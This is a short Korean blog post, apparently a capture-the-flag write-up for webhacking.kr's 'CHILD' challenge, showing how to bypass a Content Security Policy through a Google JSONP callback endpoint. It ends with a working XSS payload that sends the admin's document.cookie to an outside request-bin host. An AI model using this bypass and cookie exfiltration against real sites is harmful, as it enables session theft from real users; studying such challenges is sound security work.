[webhacking.kr] CHILD

김성진·2022년 11월 28일
0

우선 해당 문제를 풀이하기 전에
https://medium.com/@mazin.ahmed/bypassing-csp-by-abusing-jsonp-endpoints-47cf453624d5
이걸 먼저 공부하고 오자.


📒 Analysis & Exploit

대충 이렇게 입력해보았다. 하지만 실행이 되지 않고

Refused to execute inline script because it violates the following Content Security Policy directive: "script-src https://*.google.com/". Either the 'unsafe-inline' keyword, a hash ('sha256-XTqNqFSUlZHAW7f/OGNYSOEzxKhjdAAGMXoid2VEbJk='), or a nonce ('nonce-...') is required to enable inline execution.

이런 에러만 뜨게 되었다. 즉 SCP에 걸린 것만 같았다.
"script-src https://*.google.com/"
이 문구의 의미는 결국 ~~~.google.com에서 오는 스크립트만 허락한다는 것이다.

이제 내가 위에서 읽어보라고 한 글을 보자. 결국 엔트포인트에서 JSONP를 이용하여 CSP를 우회할 수 있다는 소리이다. 그 자료는 .google.com에서 와야 한다.
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
여기를 읽어보면 google 도메인에 콜백을 때려 xss를 실행시킬 수 있는 부분이 있다.

하지만 터지진 않는다 ...
https://www.arridae.com/blogs/bypass-csp.php
이번엔 여기를 보았다.
우옷 터졌당

이제 드림핵 request bin에 어드민의 쿠키를 보내보장 (사실 쿠키값에 있을 것 같다는 것은 게싱이다.)

<script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='https://becmlnw.request.dreamhack.games';"></script>

아놔 이건 document.cookie를 보내지 않는다. 그냥 접속만 하게 한다
ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ

<script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='https://becmlnw.request.dreamhack.games/?flag='%252bdocument.cookie;"></script>

사실 252b는 그 +가 인코딩이 안되어서 저렇게 넣어주었다.... 저건 나도 찾아보았다 ㅜㅜ

profile
Today I Learned

0개의 댓글